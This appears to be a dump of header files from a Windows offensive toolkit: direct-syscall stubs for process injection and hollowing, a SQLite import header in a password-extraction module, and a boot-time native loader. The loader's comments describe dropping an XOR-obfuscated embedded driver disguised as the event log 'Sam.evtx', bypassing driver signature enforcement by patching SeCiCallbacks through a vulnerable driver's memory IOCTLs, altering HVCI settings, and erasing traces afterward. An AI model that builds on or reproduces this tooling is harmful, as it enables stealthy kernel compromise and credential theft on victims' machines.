Modified: 2025-09-10 17:10:32
Size:     5.7 KB
// syscalls.h
#ifndef SYSCALLS_H
#define SYSCALLS_H

#include <Windows.h>

#ifndef NTSTATUS
using NTSTATUS = LONG;
#endif

#ifndef STATUS_BUFFER_TOO_SMALL
#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L)
#endif

#ifndef STATUS_BUFFER_OVERFLOW
#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L)
#endif

#ifndef OBJ_CASE_INSENSITIVE
#define OBJ_CASE_INSENSITIVE 0x00000040L
#endif

#ifndef REG_SZ
#define REG_SZ 1
#endif

#ifndef REG_EXPAND_SZ
#define REG_EXPAND_SZ 2
#endif

struct SYSCALL_ENTRY
{
    PVOID pSyscallGadget;
    UINT nArgs;
    WORD ssn;
};

struct SYSCALL_STUBS
{
    SYSCALL_ENTRY NtAllocateVirtualMemory;
    SYSCALL_ENTRY NtWriteVirtualMemory;
    SYSCALL_ENTRY NtReadVirtualMemory;
    SYSCALL_ENTRY NtCreateThreadEx;
    SYSCALL_ENTRY NtFreeVirtualMemory;
    SYSCALL_ENTRY NtProtectVirtualMemory;
    SYSCALL_ENTRY NtOpenProcess;
    SYSCALL_ENTRY NtGetNextProcess;
    SYSCALL_ENTRY NtTerminateProcess;
    SYSCALL_ENTRY NtQueryInformationProcess;
    SYSCALL_ENTRY NtUnmapViewOfSection;
    SYSCALL_ENTRY NtGetContextThread;
    SYSCALL_ENTRY NtSetContextThread;
    SYSCALL_ENTRY NtResumeThread;
    SYSCALL_ENTRY NtFlushInstructionCache;
    SYSCALL_ENTRY NtClose;
    SYSCALL_ENTRY NtOpenKey;
    SYSCALL_ENTRY NtQueryValueKey;
    SYSCALL_ENTRY NtEnumerateKey;
};

struct UNICODE_STRING_SYSCALLS
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
};
using PUNICODE_STRING_SYSCALLS = UNICODE_STRING_SYSCALLS *;

struct OBJECT_ATTRIBUTES
{
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING_SYSCALLS ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
};
using POBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES *;

enum PROCESSINFOCLASS
{
    ProcessBasicInformation = 0,
    ProcessImageFileName = 27
};

struct PROCESS_BASIC_INFORMATION
{
    NTSTATUS ExitStatus;
    PVOID PebBaseAddress;
    ULONG_PTR AffinityMask;
    LONG BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR InheritedFromUniqueProcessId;
};
using PPROCESS_BASIC_INFORMATION = PROCESS_BASIC_INFORMATION *;

struct PEB_LDR_DATA
{
    BYTE Reserved1[8];
    PVOID Reserved2[3];
    LIST_ENTRY InMemoryOrderModuleList;
};
using PPEB_LDR_DATA = PEB_LDR_DATA *;

struct RTL_USER_PROCESS_PARAMETERS
{
    BYTE Reserved1[16];
    PVOID Reserved2[10];
    UNICODE_STRING_SYSCALLS ImagePathName;
    UNICODE_STRING_SYSCALLS CommandLine;
};
using PRTL_USER_PROCESS_PARAMETERS = RTL_USER_PROCESS_PARAMETERS *;

struct PEB
{
    BYTE Reserved1[2];
    BYTE BeingDebugged;
    BYTE BitField;
    BYTE Reserved3[4];
    PVOID Mutant;
    PVOID ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
};
using PPEB = PEB *;

struct CLIENT_ID
{
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
};
using PCLIENT_ID = CLIENT_ID *;

enum KEY_VALUE_INFORMATION_CLASS
{
    KeyValueBasicInformation = 0,
    KeyValueFullInformation,
    KeyValuePartialInformation
};

struct KEY_VALUE_PARTIAL_INFORMATION
{
    ULONG TitleIndex;
    ULONG Type;
    ULONG DataLength;
    UCHAR Data[1];
};
using PKEY_VALUE_PARTIAL_INFORMATION = KEY_VALUE_PARTIAL_INFORMATION *;

struct KEY_BASIC_INFORMATION
{
    LARGE_INTEGER LastWriteTime;
    ULONG TitleIndex;
    ULONG NameLength;
    WCHAR Name[1];
};
using PKEY_BASIC_INFORMATION = KEY_BASIC_INFORMATION *;

enum KEY_INFORMATION_CLASS
{
    KeyBasicInformation = 0
};

inline void InitializeObjectAttributes(POBJECT_ATTRIBUTES p, PUNICODE_STRING_SYSCALLS n, ULONG a, HANDLE r, PVOID s)
{
    p->Length = sizeof(OBJECT_ATTRIBUTES);
    p->RootDirectory = r;
    p->Attributes = a;
    p->ObjectName = n;
    p->SecurityDescriptor = s;
    p->SecurityQualityOfService = nullptr;
}

#ifndef KEY_QUERY_VALUE
#define KEY_QUERY_VALUE (0x0001)
#endif

#ifndef KEY_READ
#define KEY_READ (0x20019)
#endif

#ifndef KEY_WOW64_64KEY
#define KEY_WOW64_64KEY (0x0100)
#endif

#ifndef KEY_WOW64_32KEY
#define KEY_WOW64_32KEY (0x0200)
#endif

extern "C"
{
    extern SYSCALL_STUBS g_syscall_stubs;

    [[nodiscard]] BOOL InitializeSyscalls(bool is_verbose);

    NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
    NTSTATUS NtWriteVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
    NTSTATUS NtReadVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
    NTSTATUS NtCreateThreadEx_syscall(PHANDLE, ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE, LPVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, LPVOID);
    NTSTATUS NtFreeVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG);
    NTSTATUS NtProtectVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
    NTSTATUS NtOpenProcess_syscall(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
    NTSTATUS NtGetNextProcess_syscall(HANDLE, ACCESS_MASK, ULONG, ULONG, PHANDLE);
    NTSTATUS NtTerminateProcess_syscall(HANDLE, NTSTATUS);
    NTSTATUS NtQueryInformationProcess_syscall(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
    NTSTATUS NtUnmapViewOfSection_syscall(HANDLE, PVOID);
    NTSTATUS NtGetContextThread_syscall(HANDLE, PCONTEXT);
    NTSTATUS NtSetContextThread_syscall(HANDLE, PCONTEXT);
    NTSTATUS NtResumeThread_syscall(HANDLE, PULONG);
    NTSTATUS NtFlushInstructionCache_syscall(HANDLE, PVOID, ULONG);
    NTSTATUS NtClose_syscall(HANDLE);
    NTSTATUS NtOpenKey_syscall(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES);
    NTSTATUS NtQueryValueKey_syscall(HANDLE, PUNICODE_STRING_SYSCALLS, KEY_VALUE_INFORMATION_CLASS, PVOID, ULONG, PULONG);
    NTSTATUS NtEnumerateKey_syscall(HANDLE, ULONG, KEY_INFORMATION_CLASS, PVOID, ULONG, PULONG);
}

#endif

<<<FILE: kvc_pass/winsqlite3.def>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-11 17:08:50
Size:     0.23 KB
LIBRARY winsqlite3.dll
EXPORTS
sqlite3_open_v2
sqlite3_close_v2
sqlite3_prepare_v2
sqlite3_step
sqlite3_finalize
sqlite3_column_blob
sqlite3_column_bytes
sqlite3_column_int
sqlite3_column_int64
sqlite3_column_text
sqlite3_errmsg

<<<FILE: kvc_pass/winsqlite3.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     4.08 KB
/* Windows SQLite3 header - Professional interface for winsqlite3.dll */
#ifndef WINSQLITE3_H
#define WINSQLITE3_H

#include <stdint.h>

#ifdef __cplusplus
extern "C" {
#endif

/*
 * Windows SQLite3 Library Interface
 * 
 * This header provides interface definitions for Microsoft's built-in
 * SQLite3 implementation (winsqlite3.dll) available in Windows 10/11.
 * 
 * The API is fully compatible with standard SQLite3 but uses the
 * system-provided library for enhanced security and maintenance.
 */

/* SQLite3 Core Types */
typedef struct sqlite3 sqlite3;
typedef struct sqlite3_stmt sqlite3_stmt;
typedef int64_t sqlite3_int64;

/* SQLite3 Result Codes */
#define SQLITE_OK           0   /* Successful result */
#define SQLITE_ROW          100 /* Step has another row ready */

/* SQLite3 Open Flags */
#define SQLITE_OPEN_READONLY    0x00000001  /* Read-only database */
#define SQLITE_OPEN_URI         0x00000040  /* URI filename interpretation */

/* Windows SQLite3 Function Declarations */

/**
 * Open a database connection with extended parameters
 * @param filename Database file path or URI
 * @param ppDb Output parameter for database handle
 * @param flags Open flags (SQLITE_OPEN_*)
 * @param zVfs VFS module name (usually NULL)
 * @return SQLITE_OK on success
 */
__declspec(dllimport) int sqlite3_open_v2(
    const char *filename,
    sqlite3 **ppDb,
    int flags,
    const char *zVfs
);

/**
 * Close database connection (enhanced version)
 * @param db Database handle to close
 * @return SQLITE_OK on success
 */
__declspec(dllimport) int sqlite3_close_v2(sqlite3 *db);

/**
 * Prepare SQL statement for execution
 * @param db Database handle
 * @param zSql SQL statement text
 * @param nByte Length of SQL text (-1 for null-terminated)
 * @param ppStmt Output parameter for prepared statement
 * @param pzTail Pointer to unused portion of zSql
 * @return SQLITE_OK on success
 */
__declspec(dllimport) int sqlite3_prepare_v2(
    sqlite3 *db,
    const char *zSql,
    int nByte,
    sqlite3_stmt **ppStmt,
    const char **pzTail
);

/**
 * Execute one step of prepared statement
 * @param pStmt Prepared statement handle
 * @return SQLITE_ROW if row available, SQLITE_OK if done
 */
__declspec(dllimport) int sqlite3_step(sqlite3_stmt *pStmt);

/**
 * Finalize and destroy prepared statement
 * @param pStmt Prepared statement handle
 * @return SQLITE_OK on success
 */
__declspec(dllimport) int sqlite3_finalize(sqlite3_stmt *pStmt);

/* Column Data Access Functions */

/**
 * Get column value as text
 * @param pStmt Prepared statement handle
 * @param iCol Column index (0-based)
 * @return Pointer to UTF-8 text data
 */
__declspec(dllimport) const unsigned char *sqlite3_column_text(
    sqlite3_stmt *pStmt,
    int iCol
);

/**
 * Get column value as binary blob
 * @param pStmt Prepared statement handle
 * @param iCol Column index (0-based)
 * @return Pointer to binary data
 */
__declspec(dllimport) const void *sqlite3_column_blob(
    sqlite3_stmt *pStmt,
    int iCol
);

/**
 * Get size of column data in bytes
 * @param pStmt Prepared statement handle
 * @param iCol Column index (0-based)
 * @return Size in bytes
 */
__declspec(dllimport) int sqlite3_column_bytes(
    sqlite3_stmt *pStmt,
    int iCol
);

/**
 * Get column value as 32-bit integer
 * @param pStmt Prepared statement handle
 * @param iCol Column index (0-based)
 * @return Integer value
 */
__declspec(dllimport) int sqlite3_column_int(
    sqlite3_stmt *pStmt,
    int iCol
);

/**
 * Get column value as 64-bit integer
 * @param pStmt Prepared statement handle
 * @param iCol Column index (0-based)
 * @return 64-bit integer value
 */
__declspec(dllimport) sqlite3_int64 sqlite3_column_int64(
    sqlite3_stmt *pStmt,
    int iCol
);

/* Error Handling */

/**
 * Get last error message for database connection
 * @param db Database handle
 * @return UTF-8 encoded error message
 */
__declspec(dllimport) const char *sqlite3_errmsg(sqlite3 *db);

#ifdef __cplusplus
}
#endif

#endif /* WINSQLITE3_H */

<<<FILE: kvc_smss/BootBypass.h>>>
Created:  2026-05-01 21:01:16
Modified: 2026-04-27 12:17:59
Size:     18.64 KB
#ifndef BOOT_BYPASS_H
#define BOOT_BYPASS_H

// ============================================================================
// BootBypass — NATIVE subsystem driver loader (BB variant)
//
// Runs at SMSS phase (before any Win32 subsystem).  No CRT, no stdlib.
// Every type, structure, and API call is declared here from first principles
// because NODEFAULTLIB means no SDK headers are included.
//
// Entry: NtProcessStartup (SUBSYSTEM:NATIVE), called by the NT kernel directly.
// Stack: 1 MB reserved / 1 MB committed — explicit commit prevents guard-page
//        faults during large stack frames in a no-SEH environment.
//
// Driver deployment strategy (BB-specific):
//   kvc.sys is embedded in the PE as resource IDR_DRV1 (type 10, id 101).
//   The payload is XOR-obfuscated then LZNT1-compressed.  At runtime:
//     ExtractkvcFromResource() → XOR decrypt → RtlDecompressBuffer(LZNT1)
//     → NtCreateFile to \SystemRoot\System32\winevt\Logs\Sam.evtx
//   The .evtx extension disguises the driver file as a Windows event log.
//   Cleanupkvc() removes both the file and the SCM registry key after use.
// ============================================================================

#pragma comment(lib, "ntdll.lib")
// SUBSYSTEM:NATIVE — no win32 startup stub; ENTRY:NtProcessStartup called directly.
// NODEFAULTLIB    — prevents linker from pulling in CRT or default SDK imports.
// STACK           — 1 MB reserved + 1 MB committed: avoids guard-page faults.
#pragma comment(linker, "/SUBSYSTEM:NATIVE /ENTRY:NtProcessStartup /NODEFAULTLIB /STACK:0x100000,0x100000")
// Disable optimizations globally: prevents the compiler from reordering or
// eliminating stores critical in the no-exception-handler environment.
#pragma optimize("", off)
// Disable stack probes: __chkstk is defined manually in SystemUtils.c.
#pragma check_stack(off)

// ============================================================================
// BUILD CONFIGURATION
// ============================================================================
// Set to 1 to enable verbose debug output via NtDisplayString.
// Unconditionally disabled in release — DEBUG_LOG expands to nothing.
#define DEBUG_LOGGING_ENABLED 0

// ============================================================================
// MACROS & CONSTANTS
// ============================================================================
#define NTAPI __stdcall
#define NULL 0
#define TRUE 1
#define FALSE 0
// NTSTATUS codes used by this loader (subset of ntstatus.h)
#define STATUS_SUCCESS 0
#define STATUS_NO_SUCH_DEVICE 0xC0000000
#define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034
#define STATUS_OBJECT_NAME_COLLISION 0xC0000035    // key/file already exists
#define STATUS_OBJECT_NAME_INVALID 0xC0000033
#define STATUS_BUFFER_TOO_SMALL 0xC0000023
#define STATUS_IMAGE_ALREADY_LOADED 0xC000010E     // driver already in kernel
// Privilege LUID constants (SE_* values from ntddk.h)
#define SE_LOAD_DRIVER_PRIVILEGE 10
#define SE_BACKUP_PRIVILEGE 17
#define SE_RESTORE_PRIVILEGE 18
#define SE_SHUTDOWN_PRIVILEGE 19
#define OBJ_CASE_INSENSITIVE 0x40
#define OBJ_KERNEL_HANDLE 0x200
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000
#define FILE_SHARE_READ 0x00000001
#define FILE_SHARE_WRITE 0x00000002
#define FILE_SHARE_DELETE 0x00000004
#define FILE_OVERWRITE_IF 0x00000005
#define SYNCHRONIZE 0x00100000L
#define DELETE 0x00010000
#define FILE_READ_DATA 0x00000001
#define FILE_WRITE_DATA 0x00000002
#define FILE_OVERWRITE 0x00000004
#define FILE_CREATE 0x00000002
#define FILE_ATTRIBUTE_NORMAL 0x00000080
#define FILE_READ_ATTRIBUTES 0x00000080
#define FILE_LIST_DIRECTORY 0x00000001
#define FILE_DIRECTORY_FILE 0x00000001
#define KEY_READ 0x00020019
#define KEY_WRITE 0x00020006
#define KEY_ALL_ACCESS 0x000F003F
#define REG_OPTION_NON_VOLATILE 0x00000000
#define REG_SZ 1
#define REG_EXPAND_SZ 2
#define REG_DWORD 4
#define REG_MULTI_SZ 7
#define REG_QWORD    11
#define MAX_ENTRIES 64           // maximum driver entries parsed from drivers.ini
#define MAX_PATH_LEN 512         // buffer size in WCHARs for all path strings

// Native-namespace path — accessible before drive letter symlinks exist.
#define STATE_FILE_PATH L"\\SystemRoot\\drivers.ini"

// Drop path for the extracted kvc.sys binary.  The .evtx extension disguises
// the driver file as a Windows event log to avoid cursory file-system scans.
#define kvc_Log L"\\SystemRoot\\System32\\winevt\\Logs\\Sam.evtx"

// DeviceGuard registry key for HVCI (Enabled DWORD).
#define HVCI_REG_PATH L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity"

// ============================================================================
// TYPE SYSTEM
// Redefined from scratch: no SDK headers are available (NODEFAULTLIB).
// Sizes match x64 ABI used by ntdll.dll and ntoskrnl.exe on Windows.
// ============================================================================
typedef void VOID;
typedef unsigned char UCHAR;
typedef unsigned char BOOLEAN;  // NT convention: 0=FALSE, non-zero=TRUE
typedef unsigned short USHORT;
typedef unsigned short WCHAR;
typedef unsigned long ULONG;
typedef unsigned long DWORD;
typedef unsigned long long ULONGLONG;
typedef unsigned long long SIZE_T;
typedef SIZE_T* PSIZE_T;
typedef unsigned long long ULONG_PTR;
typedef long LONG;
typedef long NTSTATUS;
typedef void* HANDLE;
typedef void* PVOID;
typedef WCHAR* PWSTR;
typedef const WCHAR* PCWSTR;
typedef BOOLEAN* PBOOLEAN;
typedef HANDLE* PHANDLE;
typedef ULONG* PULONG;
typedef ULONGLONG* PULONGLONG;
typedef UCHAR* PUCHAR;
typedef USHORT* PUSHORT;
typedef LONG* PLONG;

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

// Struct definitions
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID Pointer;
    } u;
    ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef union _LARGE_INTEGER {
    struct {
        ULONG LowPart;
        LONG HighPart;
    };
    ULONGLONG QuadPart;
} LARGE_INTEGER, *PLARGE_INTEGER;

// PE Headers
typedef struct _IMAGE_DOS_HEADER {
    USHORT e_magic;
    USHORT e_cblp;
    USHORT e_cp;
    USHORT e_cres;
    USHORT e_cparhdr;
    USHORT e_minalloc;
    USHORT e_maxalloc;
    USHORT e_ss;
    USHORT e_sp;
    USHORT e_csum;
    USHORT e_ip;
    USHORT e_cs;
    USHORT e_lfarlc;
    USHORT e_ovno;
    USHORT e_res[4];
    USHORT e_oemid;
    USHORT e_oeminfo;
    USHORT e_res2[10];
    LONG e_lfanew;
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

typedef struct _IMAGE_FILE_HEADER {
    USHORT Machine;
    USHORT NumberOfSections;
    ULONG TimeDateStamp;
    ULONG PointerToSymbolTable;
    ULONG NumberOfSymbols;
    USHORT SizeOfOptionalHeader;
    USHORT Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

typedef struct _IMAGE_DATA_DIRECTORY {
    ULONG VirtualAddress;
    ULONG Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

typedef struct _IMAGE_OPTIONAL_HEADER64 {
    USHORT Magic;
    UCHAR MajorLinkerVersion;
    UCHAR MinorLinkerVersion;
    ULONG SizeOfCode;
    ULONG SizeOfInitializedData;
    ULONG SizeOfUninitializedData;
    ULONG AddressOfEntryPoint;
    ULONG BaseOfCode;
    ULONGLONG ImageBase;
    ULONG SectionAlignment;
    ULONG FileAlignment;
    USHORT MajorOperatingSystemVersion;
    USHORT MinorOperatingSystemVersion;
    USHORT MajorImageVersion;
    USHORT MinorImageVersion;
    USHORT MajorSubsystemVersion;
    USHORT MinorSubsystemVersion;
    ULONG Win32VersionValue;
    ULONG SizeOfImage;
    ULONG SizeOfHeaders;
    ULONG CheckSum;
    USHORT Subsystem;
    USHORT DllCharacteristics;
    ULONGLONG SizeOfStackReserve;
    ULONGLONG SizeOfStackCommit;
    ULONGLONG SizeOfHeapReserve;
    ULONGLONG SizeOfHeapCommit;
    ULONG LoaderFlags;
    ULONG NumberOfRvaAndSizes;
    IMAGE_DATA_DIRECTORY DataDirectory[16];
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;

typedef struct _IMAGE_NT_HEADERS64 {
    ULONG Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER64 OptionalHeader;
} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;

typedef struct _IMAGE_RESOURCE_DIRECTORY {
    ULONG Characteristics;
    ULONG TimeDateStamp;
    USHORT MajorVersion;
    USHORT MinorVersion;
    USHORT NumberOfNamedEntries;
    USHORT NumberOfIdEntries;
} IMAGE_RESOURCE_DIRECTORY, *PIMAGE_RESOURCE_DIRECTORY;

typedef struct _IMAGE_RESOURCE_DIRECTORY_ENTRY {
    union {
        struct {
            ULONG NameOffset : 31;
            ULONG NameIsString : 1;
        };
        ULONG Name;
        USHORT Id;
    };
    union {
        ULONG OffsetToData;
        struct {
            ULONG OffsetToDirectory : 31;
            ULONG DataIsDirectory : 1;
        };
    };
} IMAGE_RESOURCE_DIRECTORY_ENTRY, *PIMAGE_RESOURCE_DIRECTORY_ENTRY;

typedef struct _IMAGE_RESOURCE_DATA_ENTRY {
    ULONG OffsetToData;
    ULONG Size;
    ULONG CodePage;
    ULONG Reserved;
} IMAGE_RESOURCE_DATA_ENTRY, *PIMAGE_RESOURCE_DATA_ENTRY;

#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2

// Directory enumeration (used by FileManager.c and SetupManager.c)
typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
#define FileDirectoryInformation 1
#define FILE_ATTRIBUTE_DIRECTORY 0x00000010

// System Modules
typedef struct _SYSTEM_MODULE_ENTRY {
    PVOID Reserved1;
    PVOID Reserved2;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT Index;
    USHORT Unknown;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    char ImageName[256];
} SYSTEM_MODULE_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Count;
    SYSTEM_MODULE_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION;

// ============================================================================
// INI STRUCTURES — parsed from [Config] section and per-driver sections.
// ============================================================================

// Action to perform for a driver entry (maps to Action= key in drivers.ini).
typedef enum _ACTION_TYPE {
    ACTION_LOAD = 0,
    ACTION_UNLOAD = 1,
    ACTION_RENAME = 2,
    ACTION_DELETE = 3
} ACTION_TYPE;

// Global settings from [Config] section.
// Note: no OffsetSource field — BB always scans ntoskrnl.exe when offsets
// are missing from the INI (equivalent to AUTO mode in the kvc_smss variant).
typedef struct _CONFIG_SETTINGS {
    BOOLEAN Execute;                    // YES/NO: master switch; NO exits immediately
    BOOLEAN RestoreHVCI;                // YES/NO: re-enable HVCI in hive after run
    BOOLEAN Verbose;                    // YES/NO: enable NtDisplayString output
    WCHAR DriverDevice[MAX_PATH_LEN];   // device path for the vulnerability driver
    ULONG IoControlCode_Read;           // IOCTL code for physical memory read
    ULONG IoControlCode_Write;          // IOCTL code for physical memory write
    ULONGLONG Offset_SeCiCallbacks;     // RVA of SeCiCallbacks in ntoskrnl
    ULONGLONG Offset_Callback;          // offset of the patchable slot within SeCiCallbacks
    ULONGLONG Offset_SafeFunction;      // RVA of the no-op safe function in ntoskrnl
} CONFIG_SETTINGS, *PCONFIG_SETTINGS;

// Per-driver entry, one per named section in drivers.ini.
typedef struct _INI_ENTRY {
    ACTION_TYPE Action;                 // LOAD / UNLOAD / RENAME / DELETE
    WCHAR ServiceName[MAX_PATH_LEN];    // SCM service key name
    WCHAR DisplayName[MAX_PATH_LEN];    // human-readable label (defaults to ServiceName)
    WCHAR ImagePath[MAX_PATH_LEN];      // NT path to the driver binary
    WCHAR DriverType[16];               // KERNEL or FILE_SYSTEM (maps to Type DWORD)
    WCHAR StartType[16];                // BOOT/SYSTEM/AUTO/DEMAND/DISABLED
    BOOLEAN CheckIfLoaded;              // skip LOAD if already present in module list
    BOOLEAN AutoPatch;                  // use DSE bypass sequence instead of direct load
    WCHAR SourcePath[MAX_PATH_LEN];     // source path for RENAME operation
    WCHAR TargetPath[MAX_PATH_LEN];     // target path for RENAME operation
    BOOLEAN ReplaceIfExists;            // overwrite target if present (RENAME)
    WCHAR DeletePath[MAX_PATH_LEN];     // path to delete (DELETE)
    BOOLEAN RecursiveDelete;            // descend into subdirectories (DELETE)
} INI_ENTRY, *PINI_ENTRY;

// Other Structs
typedef struct _FILE_DISPOSITION_INFORMATION {
    BOOLEAN DeleteFile;
} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION;

typedef struct _FILE_RENAME_INFORMATION {
    BOOLEAN ReplaceIfExists;
    UCHAR Reserved[7];
    HANDLE RootDirectory;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION;

typedef struct _FILE_STANDARD_INFORMATION {
    LARGE_INTEGER AllocationSize;
    LARGE_INTEGER EndOfFile;
    ULONG NumberOfLinks;
    BOOLEAN DeletePending;
    BOOLEAN Directory;
} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION;

#define FileStandardInformation 5

typedef struct _KEY_VALUE_PARTIAL_INFORMATION {
    ULONG TitleIndex;
    ULONG Type;
    ULONG DataLength;
    UCHAR Data[1];
} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION;

#define KeyValuePartialInformation 2

#define PAGE_READWRITE 0x04
#define MEM_COMMIT 0x00001000
#define MEM_RESERVE 0x00002000
#define MEM_RELEASE 0x00008000

// ============================================================================
// NT API IMPORTS
// All imported directly from ntdll.dll via __declspec(dllimport).
// No wrappers — raw syscall signatures as exported by ntdll on x64.
// ============================================================================
__declspec(dllimport) NTSTATUS NTAPI NtAllocateVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
__declspec(dllimport) NTSTATUS NTAPI NtFreeVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType);
__declspec(dllimport) NTSTATUS NTAPI NtQueryInformationFile(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, ULONG FileInformationClass);
__declspec(dllimport) NTSTATUS NTAPI NtOpenKey(PHANDLE KeyHandle, ULONG DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
__declspec(dllimport) NTSTATUS NTAPI NtQueryValueKey(HANDLE KeyHandle, PUNICODE_STRING ValueName, ULONG KeyValueInformationClass, PVOID KeyValueInformation, ULONG Length, PULONG ResultLength);
__declspec(dllimport) NTSTATUS NTAPI NtFlushKey(HANDLE KeyHandle);
__declspec(dllimport) NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN OldValue);
__declspec(dllimport) VOID NTAPI RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString);
__declspec(dllimport) NTSTATUS NTAPI NtUnloadDriver(PUNICODE_STRING DriverServiceName);
__declspec(dllimport) NTSTATUS NTAPI NtLoadDriver(PUNICODE_STRING DriverServiceName);
__declspec(dllimport) NTSTATUS NTAPI NtDisplayString(PUNICODE_STRING String);
__declspec(dllimport) NTSTATUS NTAPI NtTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus);
__declspec(dllimport) NTSTATUS NTAPI NtQueryDirectoryFile(HANDLE FileHandle, HANDLE Event, PVOID ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, ULONG FileInformationClass, BOOLEAN ReturnSingleEntry, PUNICODE_STRING FileName, BOOLEAN RestartScan);
__declspec(dllimport) NTSTATUS NTAPI NtOpenFile(PHANDLE FileHandle, ULONG DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, ULONG ShareAccess, ULONG OpenOptions);
__declspec(dllimport) NTSTATUS NTAPI NtCreateFile(PHANDLE FileHandle, ULONG DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
__declspec(dllimport) NTSTATUS NTAPI NtReadFile(HANDLE FileHandle, HANDLE Event, PVOID ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key);
__declspec(dllimport) NTSTATUS NTAPI NtWriteFile(HANDLE FileHandle, HANDLE Event, PVOID ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key);
__declspec(dllimport) NTSTATUS NTAPI NtClose(HANDLE Handle);
__declspec(dllimport) NTSTATUS NTAPI NtCreateKey(PHANDLE KeyHandle, ULONG DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG TitleIndex, PUNICODE_STRING Class, ULONG CreateOptions, PULONG Disposition);
__declspec(dllimport) NTSTATUS NTAPI NtSetValueKey(HANDLE KeyHandle, PUNICODE_STRING ValueName, ULONG TitleIndex, ULONG Type, PVOID Data, ULONG DataSize);
